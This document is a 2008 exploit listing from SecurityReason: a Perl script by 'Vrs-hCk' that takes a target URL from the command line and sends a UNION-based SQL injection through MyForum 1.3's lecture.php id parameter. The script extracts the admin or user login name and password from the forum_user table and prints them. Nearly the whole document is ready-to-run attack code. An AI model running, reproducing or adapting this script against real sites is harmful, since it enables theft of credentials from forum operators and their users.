SecurityReason - MyForum 1.3 (lecture.php id) Remote SQL Injection Exploit ( Exploit )

Exploit Code :

#!/usr/bin/perl

#**************************************************************************
*********#
# Remote SQL Injection Exploit
#
#**************************************************************************
*********#
# Software : MyForum 1.3
#
# Download : http://www.easy-script.com/scripts-dl/myforumv1.3.zip
#
# Date : 27 October 2008
# Author : Vrs-hCk
#
# Contact : d00r[at]telkom[dot]net
#
#**************************************************************************
*********#
# Greetz
#
#**************************************************************************
*********#
# MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org
#
# Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{,
em|nem, #
# loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc,
terbang_melayang, #
# chawanua, bL4Ck_3n91n3, R3V4N_B4ST4RD, bryan_ae1, dkk ... c0li.m0de.0n
!!! #
#**************************************************************************
*********#

use HTTP::Request;
use LWP::UserAgent;

$bug = "lecture.php?id=1";
$sql =
"+union+select+1,concat(0x21,pseudo,0x3a,mdp,0x21),3,4,5,6,7,8+from+forum_u
ser+where+id=1--";

print "\n ******************************************\n";
print " * MyForum 1.3 Remote SQL Exploit *\n";
print " * For get Admin or User Login *\n";
print " * Coded by Vrs-hCk *\n";
print " ******************************************\n\n";

if (@ARGV != 1) { &help; exit(); }

sub help(){
print " [?] Use : perl $0 www.target.com\n";
print " perl $0 www.target.com/path\n\n";
}

if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target =
"http://".$ARGV[0]."/"; }
print " [SQL] Exploiting ...\n\n";

my $injection = $target.$bug.$sql;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/!(.*):(.*)!/g) {
my ($username,$passwd) = ($1,$2);
print " [target] $target \n";
print " [loginx] $username:$passwd \n\n";
}
else { print " [SQL] Error, Fail to get admin login.\n\n"; }
}
else { print " [SQL] Error, ".$response->status_line."\n\n"; }